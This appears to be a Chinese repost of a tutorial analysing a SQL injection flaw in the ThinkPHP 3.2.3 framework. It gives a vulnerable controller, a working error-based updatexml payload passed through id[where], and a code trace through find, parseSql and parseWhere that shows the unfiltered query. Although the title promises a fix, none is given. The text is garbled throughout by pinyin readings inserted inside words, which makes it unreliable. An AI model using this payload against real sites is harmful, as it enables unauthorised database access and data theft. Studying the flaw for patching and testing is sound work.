您好,登錄后才能下訂單哦!
這篇文章主要介紹“thinkPHP3.2.3中sql注入漏洞問(wèn)題怎么解決”的相關(guān)知識(shí),小編通過(guò)實(shí)際案例向大家展示操作過(guò)程,操作方法簡(jiǎn)單快捷,實(shí)用性強(qiáng),希望這篇“thinkPHP3.2.3中sql注入漏洞問(wèn)題怎么解決”文章能幫助大家解決問(wèn)題。
ThinkPHP中的常用方法匯總總結(jié):M方法,D方法,U方法,I方法
Thinkphp3.2.3 安全開(kāi)發(fā)須知
搭建:
首先第一步就是必須先放在www目錄下(我是windows用的phpstudy)?。。?!
創(chuàng)建數(shù)據(jù)庫(kù),表名一定與你接下來(lái)要M的名字的相對(duì)應(yīng)
連接數(shù)據(jù)庫(kù)的文件不多說(shuō)了,自己配置:ThinkPHP/Conf/convention.php
配置控制器:\WWW\thinkphp3.2.3\Application\Home\Controller\IndexController.class.php
<?phpnamespace Home\Controller;use Think\Controller;class IndexController extends Controller { public function index(){ $this->show('原來(lái)內(nèi)容已經(jīng)省略,太占地方'); $data = M('user')->find(I('GET.id')); var_dump($data); }}
測(cè)試:
payload:
?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23
確實(shí)報(bào)錯(cuò)注入成功,一切都是因?yàn)檫@句代碼的存在:$data = M('user')->find(I('GET.id'));
I和M方法都沒(méi)有什么問(wèn)題,真正的問(wèn)題在于
find 方法上,來(lái)自/ThinkPHP/Mode/Lite/Model.class.php
public function find($options=array()) { // 根據(jù)復(fù)合主鍵查找記錄 $pk = $this->getPk(); if (is_array($options) && (count($options) > 0) && is_array($pk)) {//但是會(huì)進(jìn)入這里 // 根據(jù)復(fù)合主鍵查詢(xún) $count = 0; foreach (array_keys($options) as $key) { if (is_int($key)) $count++; } if ($count == count($pk)) { $i = 0; foreach ($pk as $field) { $where[$field] = $options[$i]; unset($options[$i++]); } $options['where'] = $where; } else { return false; } } // 總是查找一條記錄 $options['limit'] = 1; // 分析表達(dá)式 $options = $this->_parseOptions($options);//前面都沒(méi)有什么影響,重點(diǎn)是這里的函數(shù)調(diào)用 $resultSet = $this->db->select($options);//重要的一步
2._parseOptions:因?yàn)橹饕槍?duì)options[where]所以無(wú)關(guān)代碼我全刪除了
/ThinkPHP/Library/Think/Model.class.php
protected function _parseOptions($options=array()) { if(is_array($options)) $options = array_merge($this->options,$options); // 字段類(lèi)型驗(yàn)證 if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {//這里不滿(mǎn)足is_array($options['where']) // 對(duì)數(shù)組查詢(xún)條件進(jìn)行字段類(lèi)型檢查 foreach ($options['where'] as $key=>$val){ $key = trim($key); if(in_array($key,$fields,true)){ if(is_scalar($val)) { $this->_parseType($options['where'],$key); } }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){ if(!empty($this->options['strict'])){ E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']'); } unset($options['where'][$key]); } } } //上面均沒(méi)用,到現(xiàn)在開(kāi)始有用:? // 查詢(xún)過(guò)后清空sql表達(dá)式組裝 避免影響下次查詢(xún) $this->options = array(); // 表達(dá)式過(guò)濾 $this->_options_filter($options);//這里值得注意 return $options; }
3._options_filter
到這就無(wú)了
而且上面的操作也會(huì)清零 $options,所以這里可能是進(jìn)錯(cuò)了
所以更正第二部的跟蹤,改為
2.select:/ThinkPHP/Library/Think/Db/Driver.class.php
public function select($options=array()) { $this->model = $options['model']; $this->parseBind(!empty($options['bind'])?$options['bind']:array()); $sql = $this->buildSelectSql($options); $result = $this->query($sql,!empty($options['fetch_sql']) ? true : false); return $result; }
3.buildSelectSql:地址同上
public function buildSelectSql($options=array()) { if(isset($options['page'])) { // 根據(jù)頁(yè)數(shù)計(jì)算limit list($page,$listRows) = $options['page']; $page = $page>0 ? $page : 1; $listRows= $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20); $offset = $listRows*($page-1); $options['limit'] = $offset.','.$listRows; } $sql = $this->parseSql($this->selectSql,$options); return $sql; }
4.parseSql:地址同上
public function parseSql($sql,$options=array()){ $sql = str_replace( array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'), array( $this->parseTable($options['table']), $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false), $this->parseField(!empty($options['field'])?$options['field']:'*'), $this->parseJoin(!empty($options['join'])?$options['join']:''), $this->parseWhere(!empty($options['where'])?$options['where']:''), $this->parseGroup(!empty($options['group'])?$options['group']:''), $this->parseHaving(!empty($options['having'])?$options['having']:''), $this->parseOrder(!empty($options['order'])?$options['order']:''), $this->parseLimit(!empty($options['limit'])?$options['limit']:''), $this->parseUnion(!empty($options['union'])?$options['union']:''), $this->parseLock(isset($options['lock'])?$options['lock']:false), $this->parseComment(!empty($options['comment'])?$options['comment']:''), $this->parseForce(!empty($options['force'])?$options['force']:'') ),$sql); return $sql; }
5.parseWhere:同上
protected function parseWhere($where) { $whereStr = ''; if(is_string($where)) {//直接滿(mǎn)足,直接進(jìn)入 // 直接使用字符串條件 $whereStr = $where; }else{ // 使用數(shù)組表達(dá)式 } return empty($whereStr)?'':' WHERE '.$whereStr;}
最后$sql=where 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23
然后
$result = $this->query($sql,!empty($options['fetch_sql']) ? true : false);return $result;
整個(gè)過(guò)程沒(méi)有任何過(guò)濾,seay分析thinkPHP太飛費(fèi)勁了
payload不變:
?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23
還是跟蹤find函數(shù):
跟蹤到這里步入一下,繼續(xù)跟蹤,跟蹤到最后會(huì)跳出這個(gè)函數(shù)并且,值依然沒(méi)有改變,同時(shí)步入下一個(gè)函數(shù)
經(jīng)核實(shí),步入到了另一個(gè)函數(shù)中:
繼續(xù)跟蹤buildSelectSql:
繼續(xù)跟蹤parseSql:
最后的代碼變成了:
SELECT * FROM user WHERE 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)# LIMIT 1
還是debug起來(lái)方便,基本不需要怎么動(dòng)腦
關(guān)于“thinkPHP3.2.3中sql注入漏洞問(wèn)題怎么解決”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識(shí),可以關(guān)注億速云行業(yè)資訊頻道,小編每天都會(huì)為大家更新不同的知識(shí)點(diǎn)。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。